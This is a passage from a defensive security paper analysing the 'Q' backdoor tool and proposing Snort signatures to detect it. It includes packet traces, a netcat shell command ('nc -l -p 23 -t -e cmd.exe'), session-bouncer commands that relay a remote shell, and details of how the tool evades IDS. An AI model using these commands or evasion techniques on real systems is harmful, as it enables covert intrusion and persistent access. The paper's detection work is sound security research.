22:07:47.027480 192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 537:565(28) ack 537 win 6432 <nop,nop,timestamp 6202939 1188875> (DF) (ttl 64, id 35749, len 80)

0x0000   4500 0050 8ba5 4000 4006 28b0 c0a8 0282        E..P..@.@.(.....

0x0010   c0a8 0280 8095 0404 151a 2fb0 c88c 7e39        ........../...~9

0x0020   8018 1920 e845 0000 0101 080a 005e a63b        .....E.......^.;

0x0030   0012 240b 0100 0000 0100 0000 0100 0000        ..$.............

0x0040   0000 0000 0000 0000 0000 0000 1100 0000        ................

22:07:47.028364 192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 537:565(28) ack 565 win 6432 <nop,nop,timestamp 1188875 6202939> (DF) (ttl 64, id 22573, len 80)

0x0000   4500 0050 582d 4000 4006 5c28 c0a8 0280        E..PX-@.@.\(....

0x0010   c0a8 0282 0404 8095 c88c 7e39 151a 2fcc        ..........~9../.

0x0020   8018 1920 e829 0000 0101 080a 0012 240b        .....)........$.

0x0030   005e a63b 0100 0000 0100 0000 0100 0000        .^.;............

0x0040   0000 0000 0000 0000 0000 0000 1100 0000        ................

22:07:47.041642 192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 565:1613(1048) ack 565 win 6432 <nop,nop,timestamp 6202940 1188875> (DF) (ttl 64, id 35750, len 1100)

0x0000   4500 044c 8ba6 4000 4006 24b3 c0a8 0282        E..L..@.@.$.....

0x0010   c0a8 0280 8095 0404 151a 2fcc c88c 7e55        ........../...~U

0x0020   8018 1920 067e 0000 0101 080a 005e a63c        .....~.......^.<

0x0030   0012 240b 0001 0000 0001 0000 8000 0000        ..$.............

0x0040   0000 0000 0000 0000 0000 0000 08be c71f        ................

<snipped for brevity>

0x0440   fb24 e6b2 84cd 0e53 519c b383                  .$.....SQ...

22:07:50.392850 0:50:56:eb:22:77 0:50:56:f2:ed:f9 0800 110: 192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 565:609(44) ack 1613 win 8384 <nop,nop,timestamp 1189218 6202940> (DF) (ttl 64, id 22575, len 96)

0x0000   4500 0060 582f 4000 4006 5c16 c0a8 0280        E..`X/@.@.\.....

0x0010   c0a8 0282 0404 8095 c88c 7e55 151a 33e4        ..........~U..3.

0x0020   8018 20c0 6bc5 0000 0101 080a 0012 2562        ....k.........%b

0x0030   005e a63c 0500 0000 0500 0000 0500 0000        .^.<............

0x0040   0000 0000 0000 0000 0000 0000 0000 1a79        ...............y

0x0050   c989 4bbe 6712 c9ae d047 05e4 74cb c8ae        ..K.g....G..t...

22:07:50.399953 192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 1613:1613(0) ack 609 win 6432 <nop,nop,timestamp 6203312 1189218> (DF) (ttl 64, id 35751, len 52)

Figure 17a - 'q' 2.4 encrypted session establishment - command/output + tcpdump trace

 

Figure 17b is a trace of actual data transfer from a Q v2.4 encrypted shell session - sending across a Unix  "id" command and receiving back the result.  The data is of course encrypted and there don't appear to be any opportunities for NIDS signature development here.

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

 

22:27:26.078180 192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 1613:1645(32) ack 609 win 6432 <nop,nop,timestamp 6321654 1189218> (DF) (ttl 64, id 35752, len 84)

0x0000   4500 0054 8ba8 4000 4006 28a9 c0a8 0282        E..T..@.@.(.....

0x0010   c0a8 0280 8095 0404 151a 33e4 c88c 7e81        ..........3...~.

0x0020   8018 1920 b5e2 0000 0101 080a 0060 75f6        .............`u.

0x0030   0012 2562 43dc fb1f 56e8 ccfd a480 52be        ..%bC...V.....R.

0x0040   7052 4f54 8851 e269 ffb5 cb3b 1891 59c9        pROT.Q.i...;..Y.

0x0050   ac64 029b                                      .d..

22:27:26.078949 192.168.2.128.1028 > 192.168.2.130.32917: . [tcp sum ok] 609:609(0) ack 1645 win 8384 <nop,nop,timestamp 1306787 6321654> (DF) (ttl 64, id 22576, len 52)

22:27:26.219081 192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 609:713(104) ack 1645 win 8384 <nop,nop,timestamp 1306800 6321654> (DF) (ttl 64, id 22577, len 156)

0x0000   4500 009c 5831 4000 4006 5bd8 c0a8 0280        E...X1@.@.[.....

0x0010   c0a8 0282 0404 8095 c88c 7e81 151a 3404        ..........~...4.

0x0020   8018 20c0 aa15 0000 0101 080a 0013 f0b0        ................

0x0030   0060 75f6 8c40 63cd 31a3 0d2c 1d4e f30f        .`u..@c.1..,.N..

0x0040   a8bc e372 3ef7 738e d530 daed 2c7f a860        ...r>.s..0..,..`

0x0050   49d5 a47c d255 c54b 1313 0402 71de 8f2f        I..|.U.K....q../

0x0060   5807 c534 0328 b8e1 c91a 3600 4d5f 6ba4        X..4.(....6.M_k.

0x0070   22dd 8244 96c3 37e2 edf2 72a0 85b9 79a4        "..D..7...r...y.

0x0080   0fd4 b2d3 9788 2b2c 1cd5 fa9b 09df 3b2b        ......+,......;+

0x0090   0487 bcc2 0000 0000 0000 0000                  ............

22:27:26.497066 192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 1645:1645(0) ack 713 win 6432 <nop,nop,timestamp 6321689 1306800> (DF) (ttl 64, id 35753, len 52)

Figure 17b - 'q' 2.4 encrypted session - command/output + tcpdump trace


 

Version 2.4 - Session Redirection / Bouncer Request and Session

Next we set up a Q2.4 session bouncer/redirector.  This will spawn a port listener process on our target (192.168.2.128 - the one running qd) and redirect any sessions on to a 3rd party (192.168.2.1).  Firstly, we set up a netcat shell on 192.168.2.1 using the command "nc -l -p 23 -t -e cmd.exe".  Next, we request that qd spawn the session bouncer - refer to Figure 18 for the syntax.  The tcpdump trace has been omitted this time, as the content is well encrypted and adds nothing more to this discussion.

./qs -p 888 -B "192.168.2.1 23" 192.168.2.128

[*] request: bouncer, listening port 888, dest ip 192.168.2.1, dest port 23

[*] sending control packet to 192.168.2.128 (encrypted)

Figure 18 - Requesting a session bouncer/redirector using qs v2.4

 

Moving on, Figure 19 shows the syntax for establishing the bounced session (to 192.168.2.1 port 23) via 192.168.2.128 port 888.  192.168.2.128 is a Red Hat Linux 7.3 host and 192.168.2.1 is obviously Microsoft Windows XP.  Notice that the packets sent to port 888 on 192.168.2.128 are indeed forwarded on to 192.168.2.1 port 23, and replies follow the same path. Traffic between the Q client and server is encrypted.  This would be a very useful hacker's tool, allowing our villain to establish a long chain of encrypted, bounced sessions with ease to help maintain anonymity and lessen the risk of being traced and caught.  I have noticed though, that the session is prone to producing some pretty serious corruption, and needs further debugging to be entirely useful for complex tasks.

            Examining the tcpdump trace, you will see a familiar pattern emerging during the authentication phase. Concentrating on the payload starting at packet offset 0x34, you initially see the client send what appears to be a 24 byte header "8000 0000 8000 0000 8000 0000 0000 0000 0000 0000 0000 0000" to the server (followed by 512 bytes of encrypted data).  This header is echoed back in the reply.  Next, the client sends another header "0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000 0000" along with "1100 0000".  All of this is echoed back unchanged.  The next exchange from client to server sends the header "0001 0000 0001 0000 8000 0000 0000 0000 0000 0000 0000 0000" along with 1024 bytes of additional data (probably the hashed encryption key).  In this case though, the response header returned is "0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000 0000", along with 20 bytes of additional data.  This looks to be the best opportunity yet for development of NIDS signatures, so long as some portion of these exchanges is repeatable when different RSA bit strengths and different hashing algorithms are used.  We'll look into that next.

# ./q -l 888 192.168.2.128

...+++++

..+++++

[connected to 192.168.2.128:888]

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

 

C:\Documents and Settings\c679055>

 

<3-way handshake removed for brevity>

23:01:11.128885 192.168.2.130.32920 > 192.168.2.128.888: P 1:537(536) ack 1 win 5840

0x0000   4500 024c 96d5 4000 4006 1b84 c0a8 0282        E..L..@.@.......

0x0010   c0a8 0280 8098 0378 e2bc 3092 9108 0b49        .......x..0....I

0x0020   8018 16d0 a767 0000 0101 080a 0063 a644        .....g.......c.D

0x0030   0017 0790 8000 0000 8000 0000 8000 0000        ................

0x0040   0000 0000 0000 0000 0000 0000 8b9e 7d79        ..............}y

<snipped for brevity>

0x0240   4f3a 9cad b392 e6b1 0393 cc75                  O:.........u

23:01:10.923378 192.168.2.128.888 > 192.168.2.130.32920: P 1:537(536) ack 537 win 6432

0x0000   4500 024c 0cda 4000 4006 a57f c0a8 0280        E..L..@.@.......

0x0010   c0a8 0282 0378 8098 9108 0b49 e2bc 32aa        .....x.....I..2.

0x0020   8018 1920 d5c1 0000 0101 080a 0017 0797        ................

0x0030   0063 a644 8000 0000 8000 0000 8000 0000        .c.D............

0x0040   0000 0000 0000 0000 0000 0000 d742 f293        .............B..

<snipped for brevity>

0x0240   6540 7718 fce2 2679 ed5b 1fa4                  e@w...&y.[..

23:01:10.925139 192.168.2.130.32920 > 192.168.2.128.888: P 537:565(28) ack 537 win 6432

0x0000   4500 0050 96d7 4000 4006 1d7e c0a8 0282        E..P..@.@..~....

0x0010   c0a8 0280 8098 0378 e2bc 32aa 9108 0d61        .......x..2....a

0x0020   8018 1920 dce3 0000 0101 080a 0063 a650        .............c.P

0x0030   0017 0797 0100 0000 0100 0000 0100 0000        ................

0x0040   0000 0000 0000 0000 0000 0000 1100 0000        ................

23:01:10.934707 192.168.2.128.888 > 192.168.2.130.32920: P 537:565(28) ack 565 win 6432

0x0000   4500 0050 0cdc 4000 4006 a779 c0a8 0280        E..P..@.@..y....

0x0010   c0a8 0282 0378 8098 9108 0d61 e2bc 32c6        .....x.....a..2.

0x0020   8018 1920 dcc6 0000 0101 080a 0017 0798        ................

0x0030   0063 a650 0100 0000 0100 0000 0100 0000        .c.P............

0x0040   0000 0000 0000 0000 0000 0000 1100 0000        ................

23:01:10.972862 192.168.2.130.32920 > 192.168.2.128.888: P 565:1613(1048) ack 565 win 6432 0x0000   4500 044c 96d8 4000 4006 1981 c0a8 0282        E..L..@.@.......

0x0010   c0a8 0280 8098 0378 e2bc 32c6 9108 0d7d        .......x..2....}

0x0020   8018 1920 0b76 0000 0101 080a 0063 a654        .....v.......c.T

0x0030   0017 0798 0001 0000 0001 0000 8000 0000        ................

0x0040   0000 0000 0000 0000 0000 0000 13ed 940d        ................

<snipped for brevity>

0x0440   10ce 718b abb4 73f1 d88b 8b73                  ..q...s....s

23:01:14.322073 192.168.2.128.888 > 192.168.2.130.32920: P 565:609(44) ack 1613 win 8384 0x0000   4500 0060 0cde 4000 4006 a767 c0a8 0280        E..`..@.@..g....

0x0010   c0a8 0282 0378 8098 9108 0d7d e2bc 36de        .....x.....}..6.

0x0020   8018 20c0 6063 0000 0101 080a 0017 08eb        ....`c..........

0x0030   0063 a654 0500 0000 0500 0000 0500 0000        .c.T............

0x0040   0000 0000 0000 0000 0000 0000 0000 1a79        ...............y

0x0050   c989 4bbe 6712 c9ae d047 05e4 74cb c8ae        ..K.g....G..t...

23:01:14.353521 192.168.2.128.1027 > 192.168.2.1.23: S 2447039563:2447039563(0) win 5840

23:01:14.355601 192.168.2.1.23 > 192.168.2.128.1027: S 3431329819:3431329819(0) ack 2447039564 win 17520

23:01:14.356279 192.168.2.128.1027 > 192.168.2.1.23: . 1:1(0) ack 1 win 5840

23:01:14.398443 192.168.2.1.23 > 192.168.2.128.1027: P 1:119(118) ack 1 win 17520 0x0000   4500 00aa 0d01 4000 8006 677b c0a8 0201        E.....@...g{....

0x0010   c0a8 0280 0017 0403 cc85 f01c 91da dc4c        ...............L

0x0020   8018 4470 bce5 0000 0101 080a 0007 f9f1        ..Dp............

0x0030   0017 08ee 4d69 6372 6f73 6f66 7420 5769        ....Microsoft.Wi

0x0040   6e64 6f77 7320 5850 205b 5665 7273 696f        ndows.XP.[Versio

0x0050   6e20 352e 312e 3236 3030 5d0d 0a28 4329        n.5.1.2600]..(C)

0x0060   2043 6f70 7972 6967 6874 2031 3938 352d        .Copyright.1985-

0x0070   3230 3031 204d 6963 726f 736f 6674 2043        2001.Microsoft.C

0x0080   6f72 702e 0d0a 0d0a 433a 5c44 6f63 756d        orp.....C:\Docum

0x0090   656e 7473 2061 6e64 2053 6574 7469 6e67        ents.and.Setting

0x00a0   735c 6336 3739 3035 353e                       s\c679055>

23:01:14.421704 192.168.2.128.888 > 192.168.2.130.32920: P 609:745(136) ack 1613 win 8384 0x0000   4500 00bc 0cdf 4000 4006 a70a c0a8 0280        E.....@.@.......

0x0010   c0a8 0282 0378 8098 9108 0da9 e2bc 36de        .....x........6.

0x0020   8018 20c0 424d 0000 0101 080a 0017 08f5        ....BM..........

0x0030   0063 a7b8 9960 5468 7737 066f 507c 786c        .c...`Thw7.oP|xl

0x0040   0123 3a32 07d2 dc32 da54 86e1 47ab 9e1d        .#:2...2.T..G...

0x0050   965d 2427 4818 05f7 79eb d7c9 6fe9 e6d6        .]$'H...y...o...

0x0060   ad85 92b4 6d8e ee97 169b aacf 2599 0f96        ....m.......%...

0x0070   2404 2917 3304 2849 1dc1 22ec 17a5 1474        $.).3.(I.."....t

0x0080   49fc 538b 999a 3186 2ca8 e367 c36d 5a62        I.S...1.,..g.mZb

0x0090   d2f5 10c7 c981 9003 099f ef08 93b7 6975        ..............iu

0x00a0   397d f470 fbfd 65e2 a7b3 8335 a1eb 3ef5        9}.p..e....5..>.

0x00b0   f465 51c5 0000 0000 0000 0000                  .eQ.........

Figure 19 - Q v2.4 redirected session command/output + tcpdump trace

Version 2.4 - RSA-Style Session Authentication

During the authentication phase of a Q2.4 encrypted session, the content of the 1st exchange header seems to depend upon the RSA bit strength selected via "#define Q_RSABITS" in the "conf.h" file.  The examples in Figures 17a and 19 used the default of 4096.  Using the minimum value of 1536 with any algorithm produced the following header values: "3000 0000 3000 0000 3000 0000 0000 0000 0000 0000 0000 0000".  Basically, all the 8's are now 3's instead.  The 2nd exchange from client to server always uses the following values, regardless of hashing algorithm or bit strength used: "0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000 0000 1100 0000".  This is a definite signature candidate, but if this exchange is in fact based on a standard RSA key-exchange protocol, we may have some false-positives as a result, but this may be unavoidable and acceptable - especially at sites that don't actually make legitimate use of the mechanism.  The reply from server to client in the 2nd exchange is sometimes the same as the header sent from client to server, and other times it varies - it's beyond the scope of this analysis to determine the reasons why, but it doesn't seem to be a good candidate for a signature at any rate.

            The header content for the 3rd client to server exchange varies depending upon the RSA bit strength specified, and doesn't appear readily decipherable   The reply from server to client for the 3rd exchange however, appears to always be "0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000 0000 0000" + 20 bytes of hashed data, regardless of protocol, RSA bit strength specified, or any other variable.

 

Assessment of Threat

Although Q is not a Trojan out of the box, it could easily be packaged up and deployed as such via email, IRC and so on.  This utility however is more likely to be used as part of a hacker's root-kit and deployed as a fairly secure back-door means of accessing an already compromised system.  Q is able to disguise its process-names, and uses techniques to communicate from client to server that make it difficult to detect with signature-based NIDS.  Particularly in later versions, payloads are well encrypted and would make it impossible for NIDS to monitor malicious traffic that uses Q as a tunnel.  Q can also set up session redirection services on a compromised target and use this as a staging point for further attacks.  I'd rate the threat from this software as quite high, especially as later versions may be able to run on W32 platforms.  The greater threat is not so much from Q itself, but from the techniques it uses to evade NIDS and packet filters.  These techniques and others that haven't yet been leaked to the public but are in active use privately, constitute the major threat. We must recognise the need for mechanisms to detect traffic making use of stealth techniques such as these and most of all we must embrace the idea of "Security in Depth".


 

Currently Available Snort Signatures

From arachNIDS[7]:

IDS203 "TROJAN-ACTIVE-Q-TCP" 

alert TCP 255.255.255.255/32 any -> $INTERNAL any (msg: "IDS203/trojan_trojan-active-Q-tcp"; dsize: >1; flags: A; classtype: system-success; reference: arachnids,203;)

IDS201 "TROJAN-ACTIVE-Q-UDP" 

alert UDP 255.255.255.255/32 any -> $INTERNAL any (msg: "IDS201/trojan_trojan-active-Q-udp"; dsize: >1; classtype: system-success; reference: arachnids,201;)

IDS202 "TROJAN-ACTIVE-Q-ICMP" 

alert ICMP 255.255.255.255/32 any -> $INTERNAL any (msg: "IDS202/trojan_trojan-active-Q-icmp"; dsize: >1; itype: 0; classtype: system-success; reference: arachnids,202;)

 

arachNIDS has a separate rule for each of the 3 protocols that Q control / activation packets use: TCP, UDP and ICMP.  They all look for traffic with a source address of 255.255.255.255, any source port, any destination IP address bound for the internal network and any destination port.  The payload has to be greater than 1 byte.  Additionally, for TCP traffic, the ACK flag only must be set, and for ICMP traffic, the ICMP type must be zero.  These signatures are inadequate for a number of reasons.  Q always defaults to generating a random source IP address, so these signatures will only catch a pitifully small number of Q control packets, unless the intruder is bold enough to actually specify 255.255.255.255 as the spoofed source address - and this is only possible pre-Q 2.0 versions.  Another problem is that Since Q 2.0, the presence or absence of the TCP ACK flag is determined at random, and the same goes for a SYN.  These factors further diminish the chances of these rules catching out Q control/activation packets for Q versions >= 2.0.

 

The standard Snort rules that pertain to Q, found in the "backdoor.rules" file are:

alert tcp 255.255.255.0/24 any -> $HOME_NET any (msg:"BACKDOOR Q access"; flags:A+; dsize: >1;  reference:arachnids,203; sid:184;  classtype:misc-activity; rev:3;)

alert icmp 255.255.255.0/24 any -> $HOME_NET any (msg:"BACKDOOR SIGNATURE - Q ICMP"; itype: 0; dsize: >1; reference:arachnids,202; sid:183;  classtype:misc-activity; rev:3;)

 

The standard Snort rules for Q suffer a similar problem to their arachNIDS cousins.  They specify a source address that could range from 255.255.255.0 to 255.255.255.255, which does increase the chances of catching a randomised source IP address, but it's still much more likely to ignore real Q traffic than it is to alert on it.  The standard Snort rules do not include a rule for UDP.  The two rules that do exist both expect a payload greater than one byte in length and the rule for TCP specifies that the ACK flag (+ optionally, any other flags) need to be set in order for traffic to trigger those rules. Due to using "flags:A+", the standard Snort TCP rule will catch more instances of Q control traffic than the ArachNIDS equivalent, as it allows for the possibility of a SYN also being set, but doesn't account for the possibility of only a SYN being set.


 

Issues regarding signature development for Q

            All of these rules concentrate on a subset of possible Q control / activation traffic only and fail to consider active Q sessions.  This is probably because finding anything to trigger on for versions of Q prior to 2.0 was quite a challenge and Snort is currently not flexible enough to be able to check all of the required protocol header fields for control traffic.  Q 2.4 however presents several possibilities, due to its use of the RSA authentication scheme. 

            Another problem I have discovered whilst testing the Snort rules above, is that none of the above rules that specify TCP as the protocol will ever trigger for Q 2.x control / activation packets that are based on TCP.  This is because the TCP header-length field is always set to zero in Q 2.x and this confuses Snort - it doesn't know where the TCP header should end.  This highlights one of the biggest failings of signature-based IDS today - dealing with software that doesn't follow the rules.  What we need to remember here, is that Q's stealth messenger "qs" sends data in a format that resembles TCP, UDP, or ICMP, but which in reality is none of these, and Snort doesn't currently appear to be able to cater for this.

            Next, I'll discuss what is required to be able to trigger an alert for major categories of Q traffic and suggest a few signatures where this is possible.  Please note, that due to time and resource constraints, it was not possible to production test these rules, so they should be trialled with a fair degree of caution, in case they produce a lot of false-positives.

 

NIDS signature strategies - Q Activation / Control - TCP-based

Snort is not capable of checking for the required TCP reserved bits, and so an effective Snort compatible signature cannot, at the time of writing, be developed for this type of packet.  The bits that I'm talking about are illustrated in Figure 20, bolded and with a red border. The capability to check for static values and non-zero values, in all of the protocol header fields is required to detect anomalies such as these, which are tell-tale signs of packet crafting.  I thought I might be able to get around the problem by using the snort "content", "offset" and "depth" keywords with an "alert ip" rule and thereby check for values in the malformed TCP header, but Snort doesn't appear to support the use of the "content" keyword with "alert ip" - it silently ignores them. 

 

IP Packet offset 0x20

IP Packet offset 0x24

IP Packet offset 0x28

IP Packet offset 0x2c

0

1

0

1

0

0

1

0

1

2

URG

ACK

PSH

RST

SYN

FIN

TCP Header Length

TCP Reserved Bits

TCP Flags

Figure 20 - High-order TCP Reserved bits

 

For qs versions 2.0 and 2.4, the TCP header-length field is always zero, but Snort cannot check for this.  If it could, this would be an excellent signature.  As it is, no packet that has this field set to zero will trigger any Snort TCP signature whatsoever.  This is a huge problem, and right this moment may be used by the bad guys to evade the Snort IDS and perhaps others also.  The work-around is to use "Alert IP" instead of "Alert TCP" and run a separate Snort process using BPF filters, with its own bare-bones configuration file and a special rules file for q control / activation packets.  This strategy will catch all TCP-based Q control packets, except for "qs -B" (request for session bouncer) traffic in Q 0.9/1.0, which for some reason doesn't set any of the high-order TCP reserved bits. Do as follows: 

 

1) Create the file "/etc/snort/snort-q.conf" with the content:

            include /etc/snort/q-control.rules

2) Create the file "/etc/snort/q-control.rules" as per Figure 21.

3) Run another instance of snort using the command:

# snort -c /etc/snort/snort-q.conf -A full -q -l snortlog-q "(tcp[12] & 0xf0 = 0 or tcp[12] & 0x0f != 0)"

This strategy will produce alerts similar to those shown in Figure 22.  If you wanted to be doubly sure that you had Q 0.9/1.0 control packets, you could set up Snort rules to search for content, like "(content: "|3120|" depth: 2)" and "(content: "|3020|" depth: 2)" to cater for the possibility of a command requesting encryption or no encryption for a shell (refer to Figure 3).  One must remember, though that when qs 0.9/1.0 requests that a single shell command be executed, there will be no "3120" or "3030" preceding the command (refer to Figure 10).

alert TCP any any -> any any (msg: "Possible Q 0.9/1.0 Control/Activation message"; flags: A;)

alert IP any any -> any any (msg: "Possible Q 2.x Control/Activation message";)

Figure 21 - Suggested rules file to catch many TCP-based Q control messages

 

[**] [1:0:0] Possible Q 2.x Control/Activation message [**]

[Priority: 0]

10/22-23:06:46.650604 145.201.13.0:0 -> 192.168.2.128:0

TCP TTL:220 TOS:0x0 ID:10643 IpLen:20 DgmLen:126

TCP header truncated

[**] [1:0:0] Possible Q 0.9/1.0 Control/Activation message [**]

[Priority: 0]

10/22-23:07:03.469253 149.21.7.44:23985 -> 192.168.2.128:31003

TCP TTL:240 TOS:0x0 ID:12345 IpLen:20 DgmLen:46

***A**** Seq: 0x250538AC  Ack: 0x480F310C  Win: 0x6216  TcpLen: 20

Figure 22 - Snort output generated by rules in Figure 21

 

One final possibility is if the IDS could calculate and confirm the TCP checksum, which is always invalid for Q control/activation packets.  Snort doesn't have this ability in IDS mode.

 

NIDS signature strategies - Q Activation / Control - UDP-based

Q UDP-based control/activation packets have nothing unusual about them in any version, except that it's possible that the source or destination port could sometimes be zero, or rarely, the source IP could be 255.255.255.255 or even 0.0.0.0.  Other standard Snort rules, such as "BAD TRAFFIC udp port 0 traffic" should hopefully alert on the anomalous ports.  The existing arachNIDS rule "TROJAN-ACTIVE-Q-UDP" will account for the 255.255.255.255 address, but there are plenty of other anomalous addresses that it could choose at random.  The best bet is probably to set up rules that check for external sources that are IANA reserved / RFC1918 private addresses + some RFC3330 special-use addresses and alert on these (better still, just block them at the perimeter).  A list of reserved blocks can be found here (entries marked "IANA - Reserved"): http://www.iana.org/assignments/ipv4-address-space.  RFC3330 can be found here: http://www.landfield.com/rfcs/rfc3330.html.  These can be set up in the "snort.conf" file and an appropriate rules file as per Figure 23, although I'm not sure what sort of performance detriment this would introduce, as the list is lengthy. One other catch is that as IANA allocates more address-blocks to organisations, this list will need to be updated, so as not to deny service to potentially legitimate users.  The other detection possibility is if the NIDS were capable of checking the validity of the UDP checksum, which is always invalid on Q control/activation packets.  Snort IDS doesn't support this.

var OOS_NETS [0.0.0.0/7, 5.0.0.0/8, 7.0.0.0/8, 10.0.0.0/8, 23.0.0.0/8, 27.0.0.0/8, 31.0.0.0/8, 36.0.0.0/7, 39.0.0.0/8, 41.0.0.0/8, 42.0.0.0/8, 58.0.0.0/7, 60.0.0.0/8, 70.0.0.0/7, 72.0.0.0/5, 82.0.0.0/7, 84.0.0.0/6, 88.0.0.0/5, 96.0.0.0/3, 169.254.0.0/16, 172.16.0.0/12, 192.18.0.0/15, 192.168.0.0/16, 197.0.0.0/8, 222.0.0.0/7, 224.0.0.0/3]

alert TCP $OOS_NETS any -> any any (msg: "TCP with invalid Source IP";)

alert UDP $OOS_NETS any -> any any (msg: "UDP with invalid Source IP";)

alert ICMP $OOS_NETS any -> any any (msg: "ICMP with invalid Source IP";)

Figure 21 - Suggested Snort configuration for alerting on invalid Source IP addresses

 

NIDS signature strategies - Q Activation / Control - ICMP-based

The two older versions of qs tested (0.9, 1.0) were able to specify the ICMP type and code, but regardless of the ICMP types or codes used, the fields that would be the ICMP echo request/reply identifier and sequence fields are always set to zero.  The identifier field at the very least should have a non-zero value.  This can be tested for in snort using the rule option "icmp_id:0". Versions 2.0 and 2.4 do not allow the option to choose ICMP type or code, and always default to type 0, code 0 (echo reply) and randomly generate the identifier and sequence numbers, but do seem to generate a zero identifier quite often, so checking for this is better than nothing.  The older versions of qs generate packets with invalid ICMP checksums.  If the IDS were capable of confirming this value, this could be checked for.  Versions of qs >= 2.0 calculate a valid checksum.  Another problem with the standard Snort rules is if you have "icmp-info.rules" enabled, Snort will alert with "[**] ICMP Echo Reply [**]" before it can match any local rules that you may have set up using "icmp_id:0" in "local.rules", because by default, "local.rules" is included last of all.  I suggest moving the "include" for "local.rules" to somewhere near the top of the list in "snort.conf".

 

NIDS signature strategies - Q Encrypted Sessions (All real TCP)

For the earlier versions of Q (using the 'Q' binary) all you can really do is look for strings of trailing 'A's, but this is likely to result in an unacceptable number of false positives.  The payload is encrypted and the protocol is capable of tunnelling other traffic, SSH-style, so this is a big issue.  The best defence is prevention, by making sure systems are well-patched and that all network and host-based access-controls are as tight as possible, and use host-based IDS to look for signs of unauthorised activity and violations of system integrity.  I was not able to get a session working on Q2.0, but was able to capture some authentication packets and could find nothing useful as a signature.  Version 2.4 does offer some interesting possibilities with regards to signatures in the session authentication process though.  The string that seems to come up the most is the one that appears during the 2nd exchange of authentication data - "0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000 0000 1100 0000", closely followed by the last packet sent from server back to client, which seems to indicate acceptance of the client connection - "0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000 0000", although this does seem to vary.  The snort rules could look something like those in Figure 22.

alert TCP any any -> any any (msg: "Possible Q 2.x session authentication attempt"; flags: AP*; content: "|0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000 0000 1100 0000|"; depth: 30; sid: 1000004;)

alert TCP any any -> any any (msg: "Possible Q 2.x session authentication completion"; flags: AP*; content: "|0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000 0000 1100 0000|"; depth: 28; sid: 1000005;)

alert TCP any any -> any any (msg: "Possible Q 2.x session authentication completion"; flags: AP*; content: "|0700 0000 0700 0000 0700 0000 0000 0000 0000 0000 0000 0000|"; depth: 28;)

Figure 22 - Snort rules to alert on Q 2.4 authentication data

 

In Figure 23, I present some general rules that I used whilst testing, that would assist in picking up traffic with anomalous Source IP Address or invalid TCP header-field value combinations.  Note that the rules that are commented out use syntax not currently supported by Snort, but which I feel ought to be included.

alert TCP $OOS_NETS any -> any any (msg: "Incoming TCP with invalid Source IP";)

alert UDP $OOS_NETS any -> any any (msg: "Incoming UDP with invalid Source IP";)

alert ICMP $OOS_NETS any -> any any (msg: "Incoming ICMP with invalid Source IP";)

#alert TCP any any -> any any (msg: "TCP with non-zero ACK# on SYN"; flags: S; ack:!0;)

#alert TCP any any -> any any (msg: "TCP with zero WIN# on SYN"; flags: S+; window:0;)

alert TCP any any -> any any (msg: "TCP with zero SEQ# on SYN"; flags: S+; seq:0;)

alert TCP any any -> any any (msg: "TCP with zero ACK# on ACK"; flags: A+; ack:0;)

alert ICMP any any -> any any (msg: "ICMP echo-reply with zero identifier#"; icmp_id:0;)

Figure 23 - Snort rules to alert on invalid addresses and header field combinations

 

Conclusion

If there is a lesson to be learned from this paper, it is that you cannot safely assume anything.  You cannot assume that just because you have implemented a network based IDS, that you can be backward with patching, or that the IDS will even report on the types of malicious traffic that you expect.  You cannot assume that IDS signatures are always correct, or will work as you expect.  You cannot assume that traffic which on the surface looks to be innocent is not in fact malicious.  You must not underestimate the ingenuity of the bad guys.

            Q is a potentially very capable back-door program that makes use of several techniques that make its traffic difficult to detect using signature-based IDS.  In addition, this study has revealed a number of shortcomings in Snort's rule options which make it more difficult and inconvenient than it ought to be to look for certain types of packet crafting, and as a result, make it quite simple to evade this NIDS in the scenario presented here.  These will no doubt be addressed in future versions once I make the developers aware of the issue.  The real danger is perhaps not from Q itself, but from other private software which makes use of similar "stealth" techniques which we don't have signatures for, or for which simple pattern-matching signatures cannot be developed, due to the nature of the traffic.


 

References (for part 1):

AES. "Advanced Encryption Standard - Questions and Answers." Jan. 28 2002.

URL: http://csrc.nist.gov/encryption/aes/ (Aug. 28 2002)

 

Barlow & Thrower. "TFN2K - An Analysis." Mar. 7 2000.

URL: http://packetstormsecurity.nl/distributed/TFN2k_Analysis-1.3.txt (Aug. 18 2002)

 

Dittrich, David. "The "Tribe Flood Network." distributed denial of service attack tool". Oct. 21 1999.

URL: http://staff.washington.edu/dittrich/misc/tfn.analysis (Aug. 18 2002)

 

IANA. "INTERNET PROTOCOL V4 ADDRESS SPACE." IANA Assignments. Oct. 25 2002

URL: http://www.iana.org/assignments/ipv4-address-space  (Oct. 29 2002)

 

Internet Assigned Numbers Authority. "INTERNET PROTOCOL V4 ADDRESS SPACE." Aug. 6 2002.

URL: http://www.iana.org/assignments/ipv4-address-space (Oct. 20 2002)

 

Internet Society, The. "RFC3330 - Special-Use IPv4 Addresses." Sep. 2002

URL: http://www.landfield.com/rfcs/rfc3330.html  (Oct. 29 2002)                                                             

 

Mixter. "README." and C source code. Q 0.9 source distribution. Apr. 14 2001.

URL: http://mixter.void.ru/Q-0.9.tgz  (Aug. 6 2002)

 

Mixter. "README." and C source code. Q 1.0 source distribution. Apr. 14 2001.

URL: http://mixter.void.ru/Q-1.0.tgz  (Aug. 6 2002)

 

Mixter. "README." and C source code. Q 2.0 source distribution. Apr. 14 2001.

URL: http://mixter.void.ru/Q-2.0.tgz  (Aug. 6 2002)

 

